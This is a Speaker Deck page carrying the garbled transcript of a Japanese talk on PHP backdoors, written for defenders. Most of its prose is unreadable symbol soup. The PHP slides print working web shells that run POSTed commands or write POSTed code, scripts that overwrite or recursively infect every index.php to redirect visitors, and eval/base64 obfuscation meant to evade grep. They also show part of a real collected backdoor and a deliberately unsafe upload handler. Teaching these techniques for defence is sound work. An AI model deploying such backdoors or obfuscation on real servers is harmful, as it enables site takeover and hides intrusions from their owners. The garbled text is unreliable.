Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
作って理解するバックドア
Search
Roku
March 23, 2023
Technology
2.2k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
作って理解するバックドア
Roku
March 23, 2023
More Decks by Roku
See All by Roku
Laravel のセキュリティはどうなってる?突撃ソースコードリーディング(PHPカンファレンス福岡2024)
ad5jp
1
1.5k
本当にあった怖い脆弱性の話
ad5jp
22
41k
Other Decks in Technology
See All in Technology
2026-10-01_MagicPod_QAハーネスエンジニアリングとQA組織の未来像
ynisqa1988
1
540
DWH の限界突破! AI エージェント向け爆速リアルタイムデータ基盤 ClickHouse
jozono
1
160
AI時代に必要な脅威モデリング― 変化の速度に負けない理解とリスク判断
masakane55
4
1.1k
OSC2026on_the-world-is-waiting-for-your-voice.pdf
naruoga
0
350
ログラスのマルチプロダクトを 支える認証基盤 〜テナントごとに異なる統制とどう向き合うか〜
dada4386
3
400
IR Today: Theory, Practice, and Agents
dtunkelang
0
350
Google Cloud Next Tokyo 26登壇時のスクリプト
recruitengineers
PRO
0
200
カンファレンスに参加した後の浮遊感とセルフケア
pauli
0
310
[2026 Oracle Technical Deep Dive] VMwareワークロードのOCI移行実践ガイド - OCVSでの継続利用からOCIコンピュートへの移行まで (2026年9月17日開催)
oracle4engineer
PRO
0
130
私の推しは「聞いてから進む」AIです -AI-DLCに一人でアプリを作らせた話
yama3133
1
180
契約書画像からの情報抽出に特化した視覚接地モデルを育てる話
sansantech
PRO
1
140
[2026 Oracle Technical Deep Dive] OCI AI Resilience -OCIのセキュリティ対策機能をきちんと使いこなす- (2026年9月17日開催)
oracle4engineer
PRO
0
130
Featured
See All Featured
Building Applications with DynamoDB
mza
96
7.2k
What’s in a name? Adding method to the madness
productmarketing
PRO
24
4.2k
The Power of CSS Pseudo Elements
geoffreycrofte
82
6.6k
Speed Design
sergeychernyshev
33
2.1k
VelocityConf: Rendering Performance Case Studies
addyosmani
331
25k
KATA
mclloyd
PRO
35
16k
Become a Pro
speakerdeck
PRO
31
6.3k
Dealing with People You Can't Stand - Big Design 2015
cassininazir
367
27k
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
360
31k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
52
6.1k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
25
2.1k
My Coaching Mixtape
mlcsv
0
340
Transcript
࡞ͬͯཧղ͢ΔόοΫυΞ -FU`T%*:
ࣗݾհ w גࣜձࣾ"%ද w ొ த ηΩεϖʢʙʣ w 1)1FS,BJHJొஃ
ʮຊʹ͋ͬͨා͍੬ऑੑͷʯ 3PLV !BEKQ
ຊΞʔΩςΫνϟͱ͔ ϢχοτςετΈ͍ͨͳ ΩϥΩϥ͕͍͚ͨͨ͠͠ΕͲɺ ಙ̋͞Μͷޙ佂తϙδγϣϯΛૂͬͯɺ ࠓճηΩϡϦςΟωλͰ͢ɻ
΄Ͳલͷ͓ w ,͞Μʮ3PLV͞ʔΜʂIUBDDFTT͕ফͤͳ͍ΜͰ͢ʢٽʣʯ w ʮʢ͋͋ɺύʔϛογϣϯ͔ͳʁʣͲ͜ͷαΠτͰ͔͢ʁʯ w ,͞ΜʮʓʓͰ͢ɻαΠτશମ͕ݟ͑ͳ͘ͳͬͯͯʢٽʣʯ w ʮʢϙνϙνʣɾɾɾ͋Εʁফͤ·ͨ͠Αʯ w
,͞ΜʮԿফ͓͖ͯ͠ʹ෮׆͢ΔΜͰ͢ʢྦʣʯ
ͦΕɺόοΫυΞͰ͢ɻ
ࠓճͷ༰ w όοΫυΞͷ֓ཁ w όοΫυΞͷ࡞Γํͱ࣮ྫ w όοΫυΞͷରࡦ
όοΫυΞͷ֓ཁ
࣮ԋ w ͋Δͱ͜ΖʹɺԿͷมͳ͍ϝʔϧϑΥʔϜ͕͋Γ·ͨ͠ɻ
࣮ԋ w ѱ͍ਓ͕ϑΝΠϧ͕͜ΜͳϑΝΠϧΛΞοϓϩʔυ͠·ͨ͠ɻ SFXSJUFJOEFYQIQ <?php $path = __DIR__
. '/../../../public/index.php'; $code = "<?php die('you have been hacked :)');"; file_put_contents($path, $code); die('success');
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w αΠτશମ͕͜͏ͳΓ·ͨ͠ɻ
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w ͬͱλνѱ͍ͭɻ <?php $path = __DIR__ . '/../../../public/index.php'; $code
= "<?php header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w యܕతʹ͜Εɻ <?php file_put_contents($_POST['path'], $_POST['code']); <?php exec($_POST['command']);
͜ΜͳϑΝΠϧΛΞοϓϩʔυ͞ΕͨΒ w ୈࡾऀ͕αʔόΛࣗ༝ʹૢ࡞Ͱ͖Δͷͱಉ͡ ʹαʔόͷཪޱʢόοΫυΞʣ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕʢ·ͱΊʣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ɺ੬ऑੑΛ௨ͯ͡αʔόʹஔ͔ΕΔ ˣ w ओతͰ͋Δվ͟ΜΛߦ͍ͭͭɺ ୈ̎ɼୈ̏ͷ߈ܸ༻ϑΝΠϧΛผͷॴʹஔ͘ɻ
ˣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ۦআ͞Εͯɺୈ̎ɺୈ̏ͷ ߈ܸ༻ϑΝΠϧʹΑΓɺվ͟ΜΛ܁Γฦ͢ɻ
ͭ·ΓόοΫυΞ w੬ऑੑͦͷͷͰͳ͘ɺ ߈ܸతͦͷͷͰͳ͍ɻ wҰޭͨ͠߈ܸΛܧଓతʹߦ͍͘͢ɺ ·ͨۦআ͠ʹ͘͘͢ΔͨΊͷதؒखஈɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
߈ܸͷओత ΤϯτϦʔϙΠϯτ JOEFYQIQ IUBDDFTTΛվ͟Μ͠ɺ w ϢʔβΛ߈ܸऀͷαΠτʹඈ͢ɻ w ةݥͳϑΝΠϧΛμϯϩʔυͤ͞Δɻ w %%P4߈ܸͷ౿Έʹ͢Δɻ
w FOWͷใΛൈ͖औΔɻ w ηογϣϯ͔ΒϢʔβͷൿີใΛൈ͖औΔɻ
όοΫυΞͷ࡞Γํ
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success'); ͜Μͳվ͟ΜͳΒ·ͩϚγɻ
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code);
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code); ཧऀ։ൃऀ͕ؾ͔ͮͳ͍͏ͪʹɺ ৽ن๚ऀ͚͕ͩඈ͞Εଓ͚Δɻ
͜ΜͳύεܾΊଧͪͷ߈ܸ ͨΔΘ͚ͶʔͩΖ͆͆͆
HMPC Λͬͯ૯ͨΓ <?php function prepend($path) { $code .= file_get_contents($path, “…߈ܸ༻ίʔυ…”);
file_put_contents($path, $code); } function prependRecursive($path) { if (file_exists("{$path}/index.php")) { prepend("{$path}/index.php"); } foreach (glob("{$path}/*") as $child) { if (is_dir($child)) { prependRecursive($child); } } } prependRecursive($_SERVER["DOCUMENT_ROOT"]);
ൃݟ͞Εʹ͍͘ϑΝΠϧΛૂ͏ w ϑϨʔϜϫʔΫʹඞͣଘࡏ͢ΔϑΝΠϧΛվ͟Μ ྫʣQVCMJDJOEFYQIQ w ϑϨʔϜϫʔΫʹ͍͔ʹ͋Γͦ͏ͳ໊લͷϑΝΠϧΛઃஔ ྫʣMPBEQIQ
MPDBMFQIQ w HJUJHOPSF͞Ε͍ͯΔσΟϨΫτϦʹϑΝΠϧΛઃஔ ྫʣTUPSBHFQVCMJD
8PSE1SFTTͳΒɾɾɾ w XQBENJOXQJODMVEFTͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w XQDPOUFOUQMVHJOTYYYͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w
XQDPOUFOUVQMPBETʹϑΝΠϧΛઃஔ
GJMF@QVU@DPOUFOU ͱ͔ GXSJUF ͱ͔ͰHSFQͨ͠Β ۦআͰ͖ΔΜ͡ΌͶʁ
ྫ͑͜ͷίʔυ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code);
͜͏ͯ͠ <?php eval("$path = __DIR__ . '/../../../public/index.php'; $code = \"<?php
header('Location: https://ad5.jp'); \";file_put_contents($path, $code)");
͜͏͢Δͱ <?php eval(base64_decode("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8 uLi9wdWJsaWMvaW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZG VyKCdMb2NhdGlvbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1d F9jb250ZW50cygkcGF0aCwgJGNvZGUp"));
GJMF@QVU@DPOUFOU ফ͑·ͨ͠ɻ
͡Ό͋ɺFWBM ͱ͔ CBTF@EFDPEF Ͱ HSFQ͢Ε͍͍Μ͡ΌͶʁ
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $a = "eval"; $b = “base64_encode"; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl
vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $x = '0123456789abcdefghijklmnopqrstuvwxyz_'; $a = $x[14].$x[31].$x[10].$x[21]; $b =
$x[11].$x[10].$x[28].$x[14].$x[6].$x[4].$x[36]. $x[13].$x[14].$x[12].$x[24].$x[13].$x[14]; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
ίʔυ͔ΒҰͷ ͕ؔফ͑·ͨ͠
HSFQແཧͰ͢ɻ
˞͓அΓ w ઌఔͷίʔυ̍ӕ͕͋Γ·͢ɻ FWBMؔͰͳ͘ݴޠߏͷͨΊɺ ಈ͖·ͤΜɻ w
࣮ࡍͷஈͷಡԽʹɺ DSFBUF@GVODUJPO ؔ 1)1 ͕ΘΕ͍ͯΔͷ͕ ଟ͘ݟΒΕ·ͨ͠ɻ $a = "eval"; $a();
࣮ࡍʹ࠾ूͨ͠όοΫυΞ MPDBMFQIQ ˞ CZUF <?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/ 0i9tvf_”76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)]. $tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)]. $tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].
$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)]. $tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))]. $tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65- (62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)]; $pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)]. $tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)]; $MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)]. $tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)]. $tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))]. …ུ…
ղಡ͢Δͱ͜͏ͳͬͯͨɻ <?php $x=“‘7RxrU9tI8jP8CqGiIvtWyCYJSRYwgSTO4y4BziZ3l98Q…ུ…“; $a=base64_decode($x); $b=gzinflate($a); eval($b);
EFDPEF͢Δͱɻ <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt =
0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ …ུ…
MPDBMFQIQͷಛ w (PPHMFʹِͷαΠτϚοϓΛૹ͍ͬͯΔɻ ˠ4FBSDI$POTPMFݕࡧ݁ՌͷΞϥʔτʹΑΓɺ ɹӡӦऀϢʔβʹؾ͔ͮΕΔͷΛ͙ͨΊɻ w $44ը૾ͷೖͬͨσΟϨΫτϦΛૂ͍ͬͯΔɻ w
ϑΝΠϧʹॻ͖ࠐΉ༰Λ֎෦63-͔Βऔಘ͍ͯ͠Δɻ ˠ͓ͦΒ͘߈ܸऀͷ࢘ྩ༻αʔόɻ͜ͷ༰Λมߋ͢Δ͜ͱͰ ɹ߈ܸ༻ϑΝΠϧΛมߋͤͣͱɺ߈ܸ༰Λม͑ΒΕΔɻ
શจ͓Αͼଞͷαϯϓϧͪ͜Β͔ΒͲ͏ͧ HJUIVCDPNBEKQQIQFSLBJHJ
όοΫυΞͷରࡦ
ઃஔ͞Εͳ͍Α͏ʹ͢Δɻ
Ҏ্ɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ ࠓ͜Εʹߜ͓ͬͯ͠·͢ɻ
࣮ԋʹ༻͓͍ͨ͠߹ΘͤϑΥʔϜ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); chmod($saving_path, 0755); $data['file_name'] = $_FILES['file']['name']; $data['file_url'] = url('storage/', $_FILES['file']['name']); session()->put('inquiry', $data); return redirect()->route('confirm'); }
ྲྀੴʹ͜Μͳ࣮͢Δਓ ͍ͳ͍ͱࢥ͍·͕͢ɾɾɾ
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } ͔݁Βݴ͑ɺ΄ͱΜͲͷ݅ԼͰηʔϑͰ͢ɻ Կނηʔϑͳͷ͔ɺͲ͏͍͏݅ԼͰةݥͳͷ͔ɺ ͑ΒΕ·͔͢ʁ
ͳͥ͜Μͳ͜ͱΛ㘤͘ͷ͔ɻ w୭ɺ੬ऑੑΛ࡞Ζ͏ͱࢥͬͯ࡞͍ͬͯͳ͍ɻ w࣮ࡍͷϓϩμΫτͷ༷ෳࡶͰɺ ίʔυෳࡶʹೖΓΜͰ͍Δɻ ͦͷ݁Ռɺ͕ൃੜ͢Δ͕݅ͨ·ͨ·ἧͬͯ͠·͍ɺ ੬ऑੑ͕ੜ·Εͯ͠·͏ɻ wਖ਼֬ͳཧղ͕ॏཁɻ
߈ܸͷཱ݅ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ
ཱ݅ͱରࡦ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ˠ.JNF5ZQFΛνΣοΫ͠ɺඞཁ࠷খݶͷछྨͷϑΝΠϧͷ ɹΞοϓϩʔυͷΈڐՄ͢Δɻ ɾɾɾཁ݅ʹΑͬͯ.JNF5ZQFͷ੍ݶ͕ࠔͳ߹͋Δɻ
ཱ݅ͱରࡦ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ˠΞοϓϩʔυϑΝΠϧΛඇެ։σΟϨΫτϦʹஔ͍ͯ ɹ͍Εɺ߈ܸʹ༻͞ΕΔ͜ͱͳ͍ɻ ɹ·ͨɺΞϓϦέʔγϣϯͷઃஔ͞Εͨ8FCαʔόͱผͷ ɹॴʹϑΝΠϧΛஔ͍͍ͯΕɺ߈ཱܸ͠ͳ͍ɻ
ɾɾɾ͜Εཁ݅࣍ୈͰ࣮ݱͰ͖ͳ͍߹ɻ ɹɹɹͦͦຊ࣭తରࡦͰͳ͍ɻ
ཱ݅ͱରࡦ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ ΑΓ۩ମతʹɺҎԼͷ̎݅ɻ "1)1$(*ͱͯ͠ղऍ͞ΕΔʢ࣮ߦ༻ͷϋϯυϥʹ ɹϚοϓ͞Ε͍ͯΔʣϑΝΠϧ໊Ͱอଘ͞ΕΔɻ #࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ
ཱ݅ͱରࡦ ᶅ"1)1$(*ͱͯ͠ղऍ͞ΕΔϑΝΠϧ໊Ͱอଘ͞ΕΔɻ Ұൠతʹɺ֦ுࢠ͕QIQͰͳ͚Εɺ1)1ͱ࣮ͯ͠ߦ͞ΕΔ ͜ͱͳ͍ɻ ʢ1)1ίʔυ͕ॻ͔Ε͍ͯͯɺ୯ͳΔςΩετϑΝΠϧ ɹͱͯ͠ѻΘΕΕແʣ ˞ୠ͠ɺ্ه8FCαʔόͷઃఆʹґଘ͢Δʢޙड़ʣɻ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } σϑΥϧτͰɺQIQϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ ֦ுࢠͳ͠ʹͳΔɻ
6QMPBEFE'JMFTUPSF ͷ࣮ 6QMPBEFE'JMFIBTI/BNF ʹΑΓϑΝΠϧ໊͕ܾఆ͞ΕΔɻ ֦ுࢠɺ'JMFHVFTT&YUFOUJPO ʹΑܾͬͯΊΒΕΔɻ 1)1ϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ.JNF5ZQF
UFYUYQIQͱͳΓɺ.JNF5ZQF."1ͷఆٛʹै͍ɺ ֦ுࢠͳ͠Ͱ֨ೲ͞ΕΔɻ 6QMPBEFE'JMFʜ*MMVNJOBUFa)UUQa6QMPBEFE'JMF 'JMFʜ4ZNGPOZa$PNQPOFOUa)UUQ'PVOEBUJPOa'JMFa'JMF .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
ྫ֎ ͨͩ͠ɺ͜ͷڍಈɺ.JNF5ZQFEFGBVMUΛηοτ͢Δ͜ͱ ͰมߋՄೳͰ͋Δɻ ੩తϓϩύςΟͰ͋ΔͨΊɺྫ͑4FSWJDF1SPWJEFSͰ ηοτ͍ͯ͠ΕɺΞϓϦέʔγϣϯશମʹӨڹ͕ٴͿɻ .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
͜Μͳ࣮ɺΓ͕ͪɻ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $filename = Carbon::now()->format(‘Ymd_His.') . $uploaded_file->getClientOriginalExtension(); $path = $uploaded_file->storePubliclyAs('upload', $filename , ['disk' => 'public']); //ུ } ϑΝΠϧ໊ʹ*%ͷϧʔϧΛ࣋ͨͤͯอଘ͢Δ߹ɻ HFU$MJFOU0SJHJOBM&YUFOTJPO ΑΓHVFTT&YUFOUJPO
ͦͦ ྫ͑"QBDIFͷ߹ɺIUUQEDPOGIUBDDFTTʹ ͷΑ͏ʹهड़͞Ε͍ͯΕɺ֦ுࢠIUNMͰΞτɻ ཧ্ɺઃఆ࣍ୈͰɺ͋ΒΏΔ໊લͷϑΝΠϧ͕1)1ͱͯ͠ ࣮ߦՄೳͰ͋Δɻ 8FCαʔόͷઃఆʹґଘ͖͢Ͱͳ͍ɻ AddHandler php-script .php
.html
ཱ݅ͱରࡦ ᶅ#࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ 1)1ʹΑͬͯઃஔ͞ΕͨϑΝΠϧͷॴ༗ऀɺ௨ৗ1)1ͷ࣮ߦ ϢʔβͰ͋ΔͨΊɺॴ༗ऀͷ࣮ߦݖݶ͕͋ΕΞτɻ ˠSXYSXYSXYˠΞτ ˠSXSXSXˠηʔϑ ˠSXYSYSYˠΞτ
ˠSXSSˠηʔϑ ˠSXYˠΞτ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
6QMPBEFE'JMFTUPSF ͷ࣮ ιʔείʔυϦʔσΟϯάׂѪ͠·͕͢ɾɾɾ ઃఆϑΝΠϧDPO fi H fi MFTZTUFNTQIQ ͷEJTLTQVCMJDQFSNJTTJPOTͷઃఆʹґଘ͠·͢ɻ
σϑΥϧτͰɺσΟϨΫτϦ·ͨʹɺ ϑΝΠϧ·ͨʹͳ͍ͬͯ·͢ɻ ˠ͜ͷઃఆΛมߋ͍ͯ͠ͳ͍ݶΓɺ ɹલड़ͷίʔυύʔϛογϣϯʹͳΓ·͢ɻ
ͪΖΜɺ ࣗྗͰDINPE QBUI ͱ͔ͯͨ͠ΒΞτͰ͢ɻ TUPSBHFϑΥϧμύʔϛογϣϯʹ͢͠ɺ ͱ͍͏ޡͬͨղઆΛɺ͞ΒʹऔΓҧ͑ͯɺ ϑΝΠϧอଘޙʹɺΘ͟Θ͟ύʔϛογϣϯʹ
มߋ͍ͯ͠Δ࣮ɺݟͨ͜ͱ͋Γ·͢ɻɻɻ
ͪͳΈʹ͜ͷ߹ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); //ུ } ύʔϛογϣϯͲ͏ͳΔ͔ɺ͑ΒΕ·͔͢ʁ
GJMF@QVU@DPOUFOU ͷύʔϛογϣϯ w 04ͷઃఆʢVNBTLʣʹґଘ͠·͢ɻ ଟ͘ͷڥͰɺσΟϨΫτϦ ·ͨ ɺ ϑΝΠϧ
·ͨ Ͱ͢ɻ w 04ͷઃఆʹґଘ͖͢Ͱͳ͘ɺΞϓϦέʔγϣϯͰ ໌ࣔతʹରॲ͖͢Ͱ͢ɻ
·ͱΊʢ$8&ͷରࡦʣ w ཁٻ্༷ՄೳͳΒɺΞοϓϩʔυՄೳͳϑΝΠϧΛ .JNF5ZQFͰඞཁ࠷খݶͷͷͷΈʹ੍ݶ͢Δɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳύʔϛογϣϯʹɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳϑΝΠϧ໊ʹɻ w
-BSBWFMͷ6QMPBEFE'JMFTUPSF Ͱ͑͞ɺ ͍͔ͭ͘ͷ͕݅ॏͳΕةݥͳ࣮ʹͳΔɻ
αʔυύʔςΟϥΠϒϥϦཁҙ w +7/%# 8PSE1SFTT༻DPOUBDUGPSNϓϥάΠϯʹ͓͚Δةݥͳλ ΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυʹؔ͢Δ੬ऑੑ w +7/%# .PWBCMF5ZQFͷ9.-31$"1*ʹ͓͚Δ04ίϚϯυΠϯδ
ΣΫγϣϯͷ੬ऑੑ ˠͲͪΒɺେྔͷόοΫυΞඃΛൃੜͤ͞·ͨ͠ɻ
͏ͪ8PSE1SFTT Θͳ͍͔Βେৎʁ
օ͞Μͷ͓٬༷ͷଟ͕͘ɺ w ڪΒ͘8PSE1SFTTΛ༻͍ͯ͠·͢ɻ w ࣗࣾͷೲอकରͰͳ͘ͱɺ ͍͟ࠔͬͨΒօ͞Μʹ૬ஊ͕དྷΔͣͰ͢ɻ w ର؛ͷՐࣄͰͳ͘ɺҙשى͍͖ͯ͠·͠ΐ͏ɻ
ͦͯ͠ͳʹΑΓɺ w όοΫυΞͷଟ͕͘1)1Ͱॻ͔Ε͍ͯ·͢ɻ w1)1FSͱͯ͠ɺաͰ͖·ͤΜɻ
όοΫυΞΛઃஔ͞Εͯ ͠·ͬͨΒ
جຊํ w લड़ͷͱ͓ΓɺશۦআۃΊ͍ͯ͠Ͱ͢ɻ w ·ͣɺࠜຊݪҼͱͳΔ੬ऑੑΛಛఆ͠ɺഉআ͢Δɻ w ͦͷޙɺผͷαʔόΛཱͯɺ "߈ܸΛड͚ΔલͷόοΫΞοϓ͔ΒϦετΞ͢Δɻ
#ࢹ֬ೝ͠ͳ͕Βɺ࣮֬ʹ҆શͳϑΝΠϧͷΈΛҠߦɻ
ઈࠎ͕ંΕΔ্ɺ શ͘ੜ࢈ੑͷͳ͍࡞ۀͳͷͰɺ ࢮʹͨ͘ͳΓ·͢ɻ
ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ฐ্࢙ࣾ൪࠷ѱͩͬͨόοΫυΞରԠ w 8FC੍࡞ձࣾ͞Μ͔Βٽ͖͔ͭΕͯɺରԠɻ w Ҏ্ͷαΠτ͕ɺϨϯαόͷϚϧνυϝΠϯͰ ӡ༻͞Ε͓ͯΓɺಓ࿈Εඃɻ ˠҕୗݩ͔ΒΫϨʔϜͷཛྷɻ
ˠݪҼಛఆࣗମ͕ۃΊͯߤɻ ˠϦετΞҠඇݱ࣮తɻ w શղܾʹϲ݄ۙ͘Λཁͨ͠ɻ
͏Ұݴ͍·͢ɻ ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ձࣾհ IUUQTBEKQ w େࡕͷडୗϕϯμʔͰ͢ɻ w Θ͍Θ͍ΨϠΨϠͬͯΔձࣾͰ͢ɻ w ΤϯδχΞਵ࣌ืूதɻ